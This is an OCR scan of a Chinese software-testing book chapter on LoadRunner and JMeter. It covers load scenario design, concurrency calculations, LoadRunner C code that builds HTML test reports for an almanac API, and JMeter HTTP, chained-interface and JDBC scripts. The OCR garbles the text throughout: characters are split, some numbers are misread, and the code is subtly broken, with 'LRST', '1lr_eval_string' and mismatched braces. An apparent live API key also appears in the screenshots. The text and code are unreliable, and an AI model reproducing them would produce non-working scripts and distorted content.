Transaction Name SiAStatus Minimum Average Maximum _ Std.Deviation 90Percent Pass Fail Stop 
Action Transaction S 10.288 10.344 10.598 0.05 10.397 147 0 0 
Yuser end Transaction S o o o o o 10 0 0 
Trans n S 0 0 0 0 0 10 0 0 
Welcome S 10.258 10.296 10.492 0.037 10.324 117 0 0 
Welcome conn S 0.005 0.01 0.062 0.008 0.011 117 0 0 
Welcome first S 0.499 0.506 和 0.046 0.504 117 0 0 
Welcome read S 10.252 10.284 10.483 0.033 10.313 117 0 0 


图 2.10 最 终生 成 的 测试 报告 


验 有 限 ,为 避免 误导 大 家 ,所 以 不 能 给 太 多 的 建议 。 如 果 有 这 方面 测试 经 验 
的 朋友 欢迎 与 我 交流 学 习 。 
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当 你 的 脚本 开发 完成 之 后 就 要 进入 场景 中 进行 压 测 了 。 那 么 对 于 场景 
该 如 何 设计 呢 ? 在 我 的 博客 以 及 视频 中 都 多 次 讲解 过 ,此 处 不 再 展开 讲解 ， 
仅 总 结 性 地 归 类 如 下 ,一 般 常见 的 有 两 种 方式 。 
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(1) 单 场景 : 就 是 对 某 个 业务 或 者 某 个 接口 进行 单 点 的 测试 ,主要 是 为 
了 发 现 单 点 存在 的 性 能 问题 ,类 似 于 “水 彬 原理 ”, 提升 最 短 的 那个 板 就 可 以 
提升 整 桶 的 装 水 能 力 。 

(2) 混合 场景 , 因为 有 时 候 会 存在 业务 或 者 接口 的 依赖 ,比如 ,购买 商 
品 必须 是 登录 之 后 才能 进行 ,所 以 就 产生 了 多 业务 的 混合 场景 。 

稍微 有 点 基础 的 朋友 应 该 都 会 知道 这 两 种 “jp jo 


方式 ,但 有 时 候 我 们 会 遇 到 另 一 种 情况 ,比如 ,有 Owe 
60% 的 人 在 登录 ,30% 的 人 在 浏览 ,10% 的 人 在 。 白 - 甸 Blocko (x60) 
搜索 ,那么 这 种 存在 业务 比例 的 情况 该 怎么 解决 en 


呢 ? 一 般 有 两 种 解决 方法 。 

(1) 利用 LoadRunner 中 的 Run Logic 下面 的 
Block 概念 ,如 图 2. 11 所 示 。 通 过 设 定 Random 属 
性 来 控制 百分比 。 

(2) 在 LoadRunner 脚本 中 写 代码 控制 。 此 方法 更 为 灵活 ,也 是 推荐 大 
家 使 用 的 。 只 需要 懂 一 点 C 语言 基础 就 可 以 写 出 来 ,类 似 如 下 的 代码 。 


// 控 制 分 配 比例 
if(rand() % 100 < 80) 


{ 
// 立 即 购 买 ,里 面 通过 isPay 参数 来 控制 下 单 后 是 否 进 行 支付 
toBuy( isPay); 
} 
至 于 在 LoadRunner 中 如 何 设置 Controller 中 的 场景 就 不 在 文本 范围 
内 了 , 感 兴趣 的 话 可 以 看 我 的 博客 或 附录 中 的 学 习 资 料 摘要 。 本 书 也 是 希 
望 不 要 成 为 单纯 的 工具 使 用 说 明 书 ,而 是 希望 依托 于 工具 给 大 家 带 来 一 些 
新 的 认识 和 思想 上 的 进步 。 


图 2.11 Block 设置 


2.9 去 “并 发 数 ” 


我 发 现 很 多 朋友 都 纠结 于 并 发 数 的 设置 ,小 白 朋友 不 懂 可 以 理解 ,但 如 
果 是 有 多 年 经 验 的 测试 工程 师 也 不 明白 并 发 数 到 底 代表 什么 意义 ,还 在 一 
味 强调 并 发 数 , 那 我 就 不 得 不 说 说 了 .所 以 在 这 里 提出 来 去 “并 发 数 ” 的 
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在 解释 这 个 理念 之 前 ,我 先 回 答 大 家 一 直 在 问 的 如 何 计算 并 发 数 的 问 
题 。 一 般 常见 的 计算 方法 有 如 下 几 种 。 

(1) 8020 原则 。 一 般 在 只 知道 系统 注册 用 户 数 或 者 在 线 用 户 数 的 时 候 
可 选择 。 

(2) 根据 PV 量 计算 并 发 数 。 大 致 计算 方式 为 : 


页 面 连接 次 数 XHTTP 响应 时 间 X 因数 
Web 服务 器 数量 


PV x 
PV= TIME 


(3) 峰值 PV/s。 
(4) Cs 容 +3VC， 其 中 n 是 平均 每 天 访问 的 用 户 数 ,L 是 一 天 内 用 


户 从 登录 到 退出 的 平均 时 间 ,T 指 考察 的 时 间 段 长 度 ( 一 天 内 多 长 时 间 有 用 
户 使 用 系统 )。 
(5) 多 次 采样 建立 自己 的 并 发 数 模 型 ,这 里 涉及 比较 复杂 的 数学 模型 
计算 。 
接 下 来 我 们 回 到 本 节 正 题 ,我 在 网 上 看 到 这 样 一 个 例子 ,我 觉得 比较 有 
说 服 力 ,我 们 一 起 来 看 看 : 
。 如 果 1 个 用 户 在 1 秒 内 完成 1 笔 业 务 ,那么 TPS 就 是 1; 
。 如 果 某 笔 业 务 响应 时 间 是 1 毫秒 ,1 个 用 户 在 1 秒 内 完成 1000 笔 业 
务 ,那么 TPS 就 是 1000; 
。 如 果 某 笔 业务 响应 时 间 是 1 秒 ,1 个 用 户 在 1 秒 内 完成 1 笔 业 务 ,要 
想 达 到 1000TPS, 那 么 至 少 需要 1000 个 用 户 。 
所 以 ,1 个 用 户 可 以 产生 1000TPS,1000 个 用 户 也 可 以 产生 1000TPS， 
那么 单纯 用 并 发 数 来 衡量 就 没有 太 多 的 意义 了 ,主要 还 是 在 于 响应 时 间 的 
快慢 。 明 白 了 这 个 ,你 还 觉得 要 在 并 发 数 上 一 直 纠 结 下 去 吗 ? 


2.10 使 用 LoadRunner 完成 接口 级 功能 
自动 化 测试 


LoadRunner 可 以 完成 性 能 测试 是 地 球 人 都 知道 的 事情 ,其 实 它 也 可 以 
完成 接口 级 功能 测试 ,所 以 永远 都 不 要 小 看 工具 ,也 不 要 去 轻易 鄙视 用 某 种 
工具 的 人 ,只 要 能 给 我 们 的 工作 带 来 实际 的 影响 , 它 就 是 有 价值 的 ,何必 在 
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意 用 的 是 什么 呢 。 

完成 该 框架 的 大 致 思路 是 : 从 参数 化 文件 中 读 取 测试 数据 和 预期 结果 ， 
然后 发 送 请 求 , 之 后 得 到 返回 的 响应 数据 并 与 预期 结果 做 对 比 ,最 后 将 结果 
写 人 HTML 报告 中 。 有 了 这 个 思路 后 就 可 以 开始 编写 代码 了 ,这 里 仍然 使 
用 前 面 用 到 的 老 黄 历 接 口 ,大 致 的 步骤 如 下 。 

(1) 在 init 中 初始 化 一 些 数据 ,比如 文件 .报告 的 头 部 设置 等 ,具体 实现 
代码 如 下 。 


long file; 
char t_result[1024]; 


vuser_init() 
{ 
// 获 取 系 统 时 间 
lr_save datetime("%Y%m%d% HS MS S", DATE NOW "now_date"); 


// 拼 接 测 试 结果 为 HTML 文件 

strcpy(t_result, "d://"); 

strcat(t result,1r eval string("{now date}")); 
strcat(t_result,". htm]l"); 


// 生 成 并 打开 测试 结果 文件 


file = fopen(t result, "at + "); 


// 写 人 测试 文件 头 部 HTML 信息 

strcpy(t_result, "< html >< table border = '1'><tr><td> 接 口 描述 </td > 
< td> 预 期 结果 </td>< td> 实 际 结果 </td>< td> 是 否 通过 </td></tr >"); 

fputs(t_result, file); 


return 0; 


) 


(2) 在 action 中 完成 请 求 的 发 送 和 结果 的 判断 ,并 写 入 测试 报告 ,具体 
实现 代码 如 下 。 

Action() 

{ 


char is_pass[1024]; 
int result; 


// 预 设 可 关联 的 数据 的 最 大 长 度 
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web_set max html param len("20000"); 


// 关 联 响应 的 返回 ,此 处 是 获取 响应 中 的 error_code 值 
web_ reg_save param("error code", 

"LB=\"error code\":", 

"RB=}", 

"Search = Body", 

LAST); 


// 发 送 请 求 , date 参数 化 

web_submit data("login", 

"Action= http://v. juhe. cn/laohuangli/d", 
"Method = POST", 

"RecContentType = text/html", 

"Referer = "， 

"Snapshot = t9. inf", 

"Mode = HTTP", 

ITEMDATA, 

"Name = key"，"Value = 私人 KEY, 就 不 写 出 来 了 "，ENDITEM， 
"Name = date"，"Value = {date}", ENDITEM, 
LRST) ; 


// 比 较 预 期 结果 和 实际 结果 
result = strcmp(1lr_eval_string("{ 预 期 结果 }"), lr_eval_string("{error_ 


code}")); 
if (result == 0) 
| 
strcpy(is_pass, "通过 "); 
} 
else 
{ 


strcpy(is_pass, "失败 "); 


// 写 人 接口 描述 字段 
strcpy(t_result,"<tr>< td>"); 
strcat(t_result, " 老 黄 历 接口 "); 
strcat(t_ result, "</td>"); 


// 写 和 预期 结果 字段 

strcat(t result,"<td id= 'yq>"); 
strcat(t_result, lr eval_string("{ 预 期 结果 }")); 
strcat(t result, "</td>"); 


(42) 大 话 软 件 测试 


性 能 、 自 动 化 及 团队 管理 


// 写 人 实际 结果 字段 

strcat(t result,"<td id= 'sj>"); 

strcat(t result,l]r eval string("{error code}")); 
strcat(t result, "</td>"); 


// 写 人 是 否 通过 字段 

strcat(t result, "< td>"); 
strcat(t_result, is_pass); 
strcat(t_result, "</td></tr >"); 
fputs(t result, file); 


return 0; 


} 
(3) 在 end 中 完成 最 后 的 清理 工作 ,具体 实现 代码 如 下 。 


vuser_end( ) 

{ 
// 闭 合 表格 
strcpy(t_result, "</table></html>"); 
fputs(t_result, file); 


// 关 闭 文件 
fclose(file); 


return 0; 


} 
(4) 最 终 执行 后 的 测试 报告 如 图 2. 12 所 示 。 


接口 描述 据 期 结果 实际 结果 是 否 通过 
接口 名 称 | 0 通过 


通过 
接口 描述 ” 顾 期 结果 实际 结果 是 否 通过 
老 黄历 接口 0 10001 ”| 失败 


图 2.12 测试 报告 


其 实 代码 中 仍 有 较 大 的 改进 空间 , 感 兴趣 的 朋友 可 以 自行 研究 。 虽然 
LoadRunner 可 以 完成 接口 功能 测试 ,但 这 个 并 不 是 它 的 强项 , 面 对 较 为 复 
杂 的 接口 时 建议 大 家 选择 更 好 的 方式 去 完成 。 不 过 我 们 也 至 少 明白 了 一 
点 ,很 多 事情 换个 角度 去 看 也 许 会 有 更 多 的 发 现 。 
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2.11 本 章 小 结 


本 章 对 LoadRunner 在 业务 级 、 接 口 级 以 及 功能 测试 上 的 应 用 进行 了 系 
统 化 讲解 ,并 对 大 家 经 常 出 现 的 疑问 也 穿插 进行 了 回答 ,如 关于 并 发 数 的 问 
题 等 。 同 时 ,也 对 如 何 对 H5 网 站 .APP 进行 后 端 性 能 测试 做 了 解答 。 和 希望 
能 对 大 家 有 所 帮助 。 

业界 不 少 朋友 对 工具 有 偏见 ,认为 仅 会 工具 很 低级 ,但 我 希望 大 家 能 够 
客观 地 看 待 这 个 问题 。 就 我 自己 而 言 , 我 赞同 只 会 使 用 LoadRunner 不 算 会 
性 能 测试 ,但 我 不 赞同 以 其 他 目的 来 谈 毁 工具 的 重要 性 ,更 何况 你 让 一 个 什 
么 经 验 都 没有 的 小 白 朋 友 一 开始 就 去 学 习 非 常 复杂 的 知识 基本 都 会 失败 。 
学 习 就 是 一 个 循序 渐进 的 过 程 , 谁 都 逃 不 掉 从 0 到 1 的 暗 变 ,一 个 优秀 的 老 
师 不 是 自己 有 多 么 牛 ,而 是 能 把 握 学 生 的 思维 站 在 他 们 的 角度 来 传授 知识 ， 
带领 他 们 进行 赔 变 。 

所 以 ,LoadRunner 工具 的 使 用 仍然 是 我 建议 大 部 分 小 白 朋 友 必 学 的 ， 
而 且 从 它 的 应 用 上 来 说 有 很 多 值得 我 们 学 习 、 思 考 的 东西 , 透 过 工具 本 身 看 
到 工具 背后 的 思想 才 是 最 精华 的 ,而 这 个 又 能 有 多 少 人 明白 ? 

扫 下 方 二 维 码 可 以 观看 视频 讲解 LoadRunner 使 用 常见 问题 。 


加 
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LoadRunner 学 习 完 之 后 我 们 趁 热 打铁 来 学 习 另 一 款 热门 的 测试 工具 
JMeter, 虽 然 它 没有 LoadRunner 那么 好 理解 、 易 使 用 ,但 仍 有 让 人 爱不释手 
的 优点 ,比如 ,开源 和 插件 丰富 、 扩 展 性 强 、 做 接口 功能 自动 化 也 非常 好 用 
等 ,本 章 就 将 带领 大 家 进行 学 习 。 需 要 提醒 的 是 本 章 不 会 涉及 基础 的 知识 
和 操作 ,大 家 可 自行 到 我 的 博客 或 附录 中 的 参考 资料 中 查看 。 


3.1 JMeter 介绍 


JMeter 是 一 款 开源 的 测试 工具 , 既 可 以 做 性 能 测试 ,也 可 以 做 功能 测 
试 ,在 很 多 朋友 的 认 知 里 ,JMeter 和 LoadRunner 都 是 做 性 能 测试 的 工具 ,但 
其 实 JMeter 做 接口 功能 自动 化 测试 也 非常 好 用 ,而 且 现 在 很 多 企业 也 都 在 
这 么 用 。 

JMeter 的 优点 很 多 ,比如 ,扩展 性 非常 好 ,有 丰富 的 插件 。 因 为 是 开源 
的 ,所 以 源 代码 也 可 以 看 到 ,如 果 有 特殊 需求 你 可 以 自己 去 二 次 开发 
JMeter。 有 优点 必然 会 伴随 着 缺点 , 易 用 性 不 高 ,参考 资料 多 数 为 英文 , 尤 
其 对 于 小 白 朋友 来 说 ,里 面 的 概念 太 复杂 ,操作 也 有 点 别扭 ,入 门 并 不 轻松 ， 
这 也 是 为 什么 我 一 般 建议 小 白 朋 友 们 先 去 学 习 LoadRunner 再 来 学 JMeter 
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的 原因 之 一 。 

更 多 的 介绍 就 不 多 说 了 ,大 家 可 自行 查看 官网 https://jmeter. apache. 
org。 我 们 这 里 使 用 的 是 JMeter 3. 0 最 新 版 。 

扫 右 侧 二 维 码 可 以 观看 视频 ,1 秒 安装 JMeter。 


3.2 使 用 JMeter 完成 业务 级 脚本 开发 


这 里 继续 以 2. 2 节 中 的 项 目 为 例 进 行 讲解 。 因 为 之 前 我 们 已 经 了 解 了 
项 目 背 景 .需求 等 信息 ,所 以 此 处 不 再 讲述 ,直接 进行 脚本 的 开发 。 


1. 登录 脚本 


本 脚本 的 逻辑 较为 简单 .大 致 思路 是 : 在 线程 组 下 新 建 两 个 HTTP 请 
求 ,一 个 是 完成 访问 登录 页 , 另 一 个 是 完成 登录 的 数据 提交 ,其 中 对 用 户 名 
进行 参数 化 。 大 致 实现 步骤 如 下 。 
(1) 访问 登录 页 的 HTTP 请 求 如 图 3. 1 所 示 。 
HTTP 请 求 


名 称 : mt ja0qiangshopluser php 
注释 : 访问 登录 页 
Bae Kovancod | 
WebfB 务 器 


[Timeouts (milliseconds) 
服务 器 名 称 或 IP: | 喘 口 号 : [80 | Connect: | 
HTTP 请 求 


| Response: | 


Implementation: | ~ 


协议 : |ntp ”| 方法 ker 一 | Contentencoding- | 


自动 重症 向。 世 ] 照管 草 室 疝 [] Use KeepAlive 


路 径 : |hiaoqiangshopluser php 


Use multiparyfor dat 


a for POST 回 Browser-compatible header 


Parameters | Body Data | Fies Upload 


同 请 求 一 起 发 送 参数 : 


名 称 : 


值 编码 ?| 包含 等 于 ? 


图 3.1 访问 登录 页 


(2) 提交 登录 数据 的 HTTP 请 求 ,如 图 3. 2 所 示 , 其 中 对 username 进 
行 了 参数 化 。 


(3) 用 户 名 参数 化 ,如 图 3. 3 所 示 。 除 此 之 外 ,还 可 以 根据 实际 情况 来 


大 话 软 件 测试 一 一 性 能 、 自 动 化 及 


团队 管理 


HTTP 请 求 

名 称 : |http; 

注释 : 提交 登录 请 求 
i | Aovanced | 
WebfE 务 器 
服务 器 名 称 或 ip: | 庙号 : |80 ] 
HTTP 请 求 


Jaoqiangshopluser.php 


-Timeouts (miliseconds) 
Connect | 


Response: 


Implementation: | 协议 : http 方法 : 


路 径 : |hiaoqiangshopluser.php 


posr | Contentencoding:[ | 


辕 站 动 重 定 向 加] 限 随 重 定 向 ”区 ] Use KeepAlive ”器 ] Use muhtipartform-data for POST [| Browser-compatible headers 


同 请 求 一 起 发 送 参数 : 

名 称 : 值 编码 ? | 包含 等 于 ? 
usemame Susemame} 回 加 |4| 
password 123123 加 回 
lact lact_login I 四 bs 

图 3.2 提交 登录 请 求 
用 户 参数 
名 称 : 用 户 名 
注释 : 
四 每 次 跌 代 更 新 一 次 
参数 

包 称 : 用 户 1 | 用 户 2 | 
username xiaoqiang1 jxiaoqiang2 | 

图 3.3 参数 化 

适当 添加 检查 点 等 操作 。 


2. 浏览 单 品 页 脚本 


此 脚本 也 较为 简单 ,用 一 个 HTTP 请 求 即 可 ,其 中 对 商品 ID 进行 参数 
化 ,从 而 模拟 访问 不 同 的 单 品 页 ,如 图 3.4 所 示 。 


3. 搜索 脚本 


本 脚本 也 是 利用 一 个 HTTP 请 求 完成 ,但 有 一 点 需要 注意 ,就 是 必须 勾 
选 “ 自 动 重 定向 ”。 因 为 搜索 业务 存在 一 个 跳 转 ,而 勾 选 “自动 重 定向 ”后 如 


果 请 求 的 HTTP 得 到 的 响应 是 301 或 者 302 时 ,JMeter 会 自动 重 定向 到 新 
的 页 面 ,如 图 3.5 所 示 。 
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HTTP 请 求 

名 称 : 浏览 单 品 页 
注释 : 
Basic | Advanced 
Webf 务 器 一 一 
服务 器 名 称 或 Ip: 


Response: | 


Content encoding: 
路 径 : hiaoqiangshoplgoods.php 


电 自动 得 定 向 “ 思 隐 党 要 定 间 [ 罗 ] Use KeepAlive 口 ] 


Parameters | Body Data | Files Upload 


wliiparform-dats for POST 回 Browser-compatible headers 


同 请 求 一 起 发 送 参数 : 


值 编码 ? | 包 合 等 于 ? 
id Stgoods_id} 国 的 


| 庙号 : [Bo |] (Connect | 


oro [Wie sok rE mentne 


路 径 : |hiaoqiangshop/search php 


加 自动 重生 向 加 ] 眼 随 重 定 向 ”四 Use KeepAlive [DUse muliparyform data for POST 回 ] Browser-compatible headers 


Parameters | Body Data | Fles Upload 
同 请 求 一 起 发 送 参数 : 
名 称 : | 值 | 编 加 ? | 包 仿 等于? 
Keywords |5{keywords} | 国 3 
imageField 上 妥 美 妆 | 国 [9 
图 3.5 搜索 脚本 


4. 下 单 支 付 脚 本 


本 脚本 也 是 使 用 HTTP 请 求 来 模拟 完成 对 每 个 业务 的 操作 。 很 多 小 白 
朋友 在 初次 使 用 的 时 候 过 度 依赖 于 录制 , 即 利用 Badboy 进行 脚本 录制 ,之 
后 导入 JMeter 中 。 这 种 方式 带 来 的 好 处 显而易见 ,但 缺点 也 很 明显 ,你 没 办 
法 清楚 地 知道 每 个 请 求 对 应 的 业务 是 什么 。 在 本 项 目 中 如 采用 录制 的 方式 
会 丢失 部 分 请 求 数据 ,造成 脚本 无 法 运行 ,所 以 个 人 建议 还 是 手工 编写 请 求 
较为 妥善 。 因 为 脚本 过 长 ,这 里 我 们 只 举例 讲解 具有 代表 性 的 步骤 。 比 如 ， 


(48) 大 话 软 件 测试 一 性 能 、 自 动 化 及 团队 管理 人 1 


加 入 购物 车 ,如 图 3.6 所 示 。 


HTTP 请 求 
名 称 : | 加 入 购物 车 
注释 :要 本 加 画 
WebfB 务 强 Timeouts (milliseconds) 
服务 器 名 称 或 Jp: ， 联 D 号 : [80 connec: [ | Response: | 
HTTP 请 求 


Implementation: |Java EE 协议 : [ntp 方法 : |posT 


路 径 : [iaoqiangshopMow php?step=add_to_cart 


| Contentencoding:[ | 


回 自动 重 定向 加 跟 随 重 定 向 四 Use KeepAlive 器 Use multipartform-dataforPOST 回 Browser-compatible headers 
Parameters | Body Data 


同 请 求 一 起 发 送 参数 : 


名称: 


值 编码 ? | 包含 等 于 人 
goods quicc1-spec0 goods if-Stgoods_idjnumberT | 回 回 


图 3.6 加 入 购物 车 脚本 
本 脚本 中 需要 注意 的 有 两 点 。 
。 路 径 字段 的 填写 一 定 要 正确 ,明确 使 用 的 是 哪个 方法 。 
。 goods 参数 填写 一 定 要 正确 ,这 里 传递 的 就 是 JSON 串 。 如 果 你 不 知 
道 这 个 JSON 串 怎 么 来 的 ,可 以 通过 抓 包 等 手段 来 分 析 。 具 体 的 含 
义 已 经 在 2. 2 节 中 讲解 过 ,此 处 不 再 讲述 。 
对 于 不 少 朋友 来 说 ,类 似 加 入 购物 车 这 样 的 请 求 就 是 个 天 大 的 难题 ,在 
小 强 性 能 测试 班 的 学 员 中 也 得 到 了 证 实 。 基 础 的 匮乏 .常识 的 缺失 都 是 导 
臻 我们 进步 缓慢 的 元 凶 ,尤其 是 初次 看 到 一 些 “ 不 正常 ”的 数据 时 往往 会 不 
淡定 ,没有 主动 思考 的 习惯 ,这 是 大 家 需要 特别 注意 和 提升 的 地 方 。 
所 有 脚本 的 大 致 框架 编写 完成 后 ,对 部 分 脚本 做 一 些 优 化 即 可 进行 测 
试 了 。 这 里 特别 指出 ,如 果 你 利用 JMeter 来 完成 较 大 并 发 量 的 性 能 测试 , 建 
议 使 用 分 布 式 , 这 样 得 出 的 数据 较 单 点 式 更 加 准确 。 


小 强 课 党 


对 于 业务 级 的 脚本 我 们 还 是 建议 更 加 真实 地 模拟 用 户 的 请 求 操 作 ， 
所 以 像 LoadRunner 一 样 ,也 需要 加 入 一 定 的 思考 时 间 , 在 JMeter 中 可 
以 使 用 固定 定时 器 或 者 高 斯 随机 定时 器 来 实现 。 


除 此 之 外 ,如 果 想 在 JMeter 中 达到 业务 比例 的 分 配 , 一 般 有 三 种 实 
现 方式 。 
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。 建立 多 个 线程 组 ,分 别 设置 运行 策略 。 

。 使 用 逻辑 控制 器 下 的 吞吐 量 控 制 器 ,可 设 定 固定 次 数 或 百分比 
模式 。 

。 使 用 带 辑 控制 器 下 的 {控制 器 ,类 似 2.7 节 中 LoadRunner 的 控 
制 分 配 比 例 代 码 。 


通过 本 节 讲 解 ,更 加 确定 了 熟悉 业务 以 及 业务 对 应 的 请 求 是 多 么 重要 。 
也 再 次 说 明了 一 件 事情 : 不 论 你 是 做 性 能 测试 还 是 自动 化 测试 ,永远 脱离 不 
了 业务 ,不 要 觉得 做 手工 测试 就 枯燥 ,这 正 是 你 学 习 业 务 、 深 入 理解 业务 请 
求 的 绝 佳 时 机 ,永远 不 要 小 看 你 看 不 起 的 工作 ,你 看 不 起 只 能 说 明 你 没 


3.3 使 用 JMeter 完成 接口 级 脚本 开发 


此 处 我 们 继续 使 用 在 2. 3 节 中 用 到 的 老 黄历 接口 ,接口 的 具体 信息 不 再 
讲述 ,我 们 仍然 从 单 接口 和 接口 依赖 两 个 方面 进行 讲解 。 


3.3.1 单 接口 的 测试 方法 


我 们 先 来 看 如 何 完 成 单个 接口 的 性 能 测试 ,大 致 实现 步骤 如 下 。 

(1) 启动 JMeter。 

(2) 新 建 线程 组 。 

(3) 在 线程 组 下 新 建 一 个 HTTP 请 求 。 

(4) 在 HTTP 请 求 中 填 入 接口 信息 ,包括 地 址 、 参 数 、 请 求 方法 (GET) 
等 ,如 图 3.7 所 示 。 

(5) 新 建 一 个 查看 结果 树 监听 器 。 

(6) 运行 脚本 验证 结果 ,如 图 3.8 所 示 ,结果 正确 。 

(7) 优化 脚本 。 如 果 有 需要 ,可 以 对 参数 进行 参数 化 等 操作 ,在 最 终 压 
测 的 时 候 建议 把 “察看 结果 树 ” 关 闭 ( 一 般 只 是 在 调试 脚本 的 时 候 使 用 ) ,只 
保留 必要 的 监听 器 即 可 ,之 后 就 按照 压 测 策略 进行 即 可 ,和 普通 的 性 能 测试 
并 无 区 别 。 


50) 大 话 软件 测试 一 性 能 、 自 动 化 及 团队 管理 gs 


Be Eee] 
注释 : 
[sse ae Bans coomece | mesponee: 


HTTP 请 求 
Implementation: | [=] mit: [| “ni ontentencoding:| | 


回 自动 重 定向 口 跟 随 可 回 UseKeepAlive 器 Use mulipartform-dataforPOST 回 Browser-compatible headers 


Parameters | Body Data 


值 
时 110c63620317915328de71d38843Ce 可 
2016-06-16 上 国 回 


编码 ? | 包含 等 于 ? 
el 


Len) Ln J earen owe Le Le [en 


图 3.7 HTTP 请 求 


个 重 waea 察看 结果 树 
人 站 和 名称: 俯 看 结果 树 
围 z 作 6 注释 : 
所 有 数据 瑟 入 一 个 文件 
:| 文件 名 | | 神 竞 。 | Log/Displa 
a 


frreason ”successed Tesulf id 2297" "yangli™ 
闭 执 位 "chongsha”… 中 猪 伐 训 ) 邹 东 " “baijr 己 不 兢 : 
状 层 合 帐 栽 衣冠 六 伐木 上 梁 出 火 拆 郑 移 徒 修造 ; 
重 日 -信安 床 祈福 出 行 安葬 行 责 开光"error_cot 


3.3.2 接口 依赖 的 测试 方法 


接口 依赖 的 概念 已 经 在 2. 3 节 中 讲解 过 ,此 处 不 再 讲述 。 为 了 模拟 这 样 
的 接口 依赖 ,大 致 的 思路 是 建立 两 个 老 黄历 接口 (分 别 为 1 和 2) ,把 老 黄 历 1 
接口 响应 中 的 yangli 字段 传递 到 老 黄 历 2 接口 中 的 入 参 date 里 ,大 致 实现 
步骤 如 下 。 

(1) 保持 3. 3.1 节 中 的 脚本 不 动 , 并 改名 为 老 黄历 1。 

(2) 新 建 一 个 HTTP 请 求 , 命 名 为 老 黄历 2, 并 填 入 正确 的 接口 信息 ,如 
图 3.9 所 示 。 其 中 对 “ 同 请 求 一 起 发 送 参 数 ” 处 的 date 变量 进行 预 留 ,这 里 
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我 们 就 要 填写 老 黄历 1 接口 中 返回 的 响应 数据 yangli 字段 的 值 。 


HTTP 请 求 

名 称 : | 老 黄历 2 
注释 : 
Basic | Advanced | 
-WebHB 务 器 Timeouts (milliseconds) 

服务 器 名 称 或 IP: vjuhe.cn 庙号 : | | connec: | | Response: | 
THTTP 请 求 


Implementation: 二 | 内 议 : | 方法 : Er | Contentencoding:| 


路 径 : [taohuangld 


辐 自动 重 定 向 ” 因 | 限 随 生 定 向 ”四 Use KeepAlive 加] Use multipartform -data for POST ”器 ] Browser-compatible headers 


Parameters | Body Data | Files Upload 
同 请 求 一 起 发 送 参数 : 
名 称 : 编 ? 
key e711bc6362b3179f{5a28de7fd3ee4ace | 
date L stangleresponsej | | E 


图 3.9 老 黄历 2 接口 


(3) 提取 老 黄 历 1 接口 中 的 响应 数据 yangli 字段 的 值 。 在 老 黄历 1 接 
口 下 面 建立 JSON Path PostProcessor 来 完成 ,如 图 3. 10 所 示 。 其 中 JSON 
Path expressions 是 JSON 的 表达 式 提 取 器 ,通过 层级 关系 写 到 yangli( 也 就 
是 JSON 中 的 key), 即 可 把 对 应 的 value 取出 来 了 ; Variable names 则 是 用 
于 保存 取出 来 的 值 , 这 样 后 续 要 用 这 个 值 的 时 候 在 需要 的 地 方 填 人 
${yangli_response} 即 可 使 用 。 


SON Path PostProcessor 

忆 称 : bsonN Path PostProcessor 

释 : 

Apply to: 

O Main sample and sub-samples 他 Main sample only © Sub-sa 


ariable names yangli_response 
“| JSON Path expressions Sresultyangli 

:| compute concatenation var(suffix_ALUD 口 

| Default Values 


图 3.10 JSON Path PostProcessor 


大 话 软 件 测试 


性 能 、 自 动 化 及 团队 管理 “7 


小 强 课 和 莹 


获取 响应 中 的 JSON 数据 一 般 有 三 种 方法 : 正则 表达 式 提取 、JSON 
Path PostProcessor、BeanShell PostProcessor( 一 个 轻 量 级 的 面向 Java 
的 脚本 语言 ) ,选择 哪 种 都 可 以 ,如 果 其 中 一 种 行 不 通 不 妨 就 换 另 外 一 种 
试 试 , 不 必 一 棵 树 上 吊 死 。 


(4) 在 老 黄历 2 接口 的 date 入 参 处 替换 为 变量 $ {yangli_response} 即 
可 ,如 图 3.11 所 示 。 


名 称 : 
key e711bc6362b3179f5a28de7fd3ee4ace 
date Styangli_response} 


图 3.11 老 黄历 2 接口 的 date 参数 


(5) 最 终 我 们 来 看 运行 结果 ,如 图 3. 12 所 示 。 通 过 “查看 结果 树 ” 可 以 
看 出 请 求 成 功 , 我 们 也 可 以 小 小 激动 一 下 了 。 


请 求 | 响应 数据 
freasonsuccessed ,Tesulffid -2297",Yanglr-2016-06-16"yinl 丙 申 ( 牙 几 五 月 二 二 "wuxing 
大 林木 闭 执 位 "chongsha“… 中 于 ( 甘 废 辣 东 "baij 己 不 破 券 二 比 并 亡 已 不 远 行 财物 伏 燕 “jishen” 王 日 
四 相 玉宇",Y 六 准时 合 帐 城 衣 冠 痢 做 木 上 梁 出 火 拆 秋 移 徒 修 造 动 士 安 门 纳 财 筑 埋 栽 种 塞 穴 , Xiong 
shen" 游 祸 血 支 元 武 重 日 ,了 : 安 床 祈福 出 行 安葬 行 形 开光 "Y"error_code™0} 


图 3.12 老 黄 历 2 接口 运行 结果 


到 此 为 止 基本 上 大 家 平时 间 得 最 多 的 问题 都 讲解 完了 , 剩 下 的 就 是 根 
据 实际 情况 去 优化 脚本 了 。 我 们 这 里 使 用 的 接口 返回 的 是 JSON 格式 的 数 
据 , 这 种 情况 占 大 多 数 。 如 果 大 家 遇 到 返回 的 是 XML 格式 的 数据 ,使 用 
XPath Extractor 也 可 以 轻松 完成 。 


3.4 使 用 JMeter 完成 JDBC 脚本 开发 


JMeter 中 的 JDBC Request 也 是 常见 测试 场景 之 一 。 它 可 以 帮 你 轻松 
完成 与 数据 库 的 关联 ,并 进行 测试 。 支 持 的 数据 库 源 有 MySQL Oracle、 
MSSQL 等 。 此 处 我 们 以 MySQL 数据 库 为 例 进行 讲解 。 
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3.4.1 单 SQL 语句 测试 


所 谓 的 单 SQL 语句 是 指 : 一 次 只 运行 一 条 SQL 语句 。 大 致 实现 步骤 
hh:s 

(1) 复制 mysql-connector-java. jar 包 到 JMeter 安装 目录 下 的 1lib 子 目 
录 中 ,这 样 才 能 利用 MySQL 驱动 来 完成 。 

(2) 在 线程 组 下 新 建 一 个 配置 元 件 中 的 JDBC Connection Configuration， 
并 填 和 人 必要 的 信息 ,如 图 3. 13 所 示 。 其 中 Variable Name 的 值 必须 和 即将 
建立 的 Sampler 中 的 JDBC Request 下 的 Variable Name 值 一 致 ,否则 无 法 
正常 运行 。 


JDBC Connection Configuration 
名 称 : boec Connection Configuration 
注释 : 
-Variable Name Bound to Pool 
Variable Name:|xiaoqiangmysql 
-Connection Pool Configuration 
Max Number of Connections: 10 
Max Wait (ms): 10000 
Time Between Eviction Runs (msj:|60000 
Auto Commit: True 


Transaction Isolation: DEFAULT 


Connection Validation by Pool 


Test While ldle: True 
Soft Min Evictable ldle Time(ms):|5000 


Validation Query: Select 1 
-Database Connection Configuration 
Database URL:|jdbc:mysqtocalhost3306/shop 
JDBC Driver class:|com.mysqljdbc Driver 
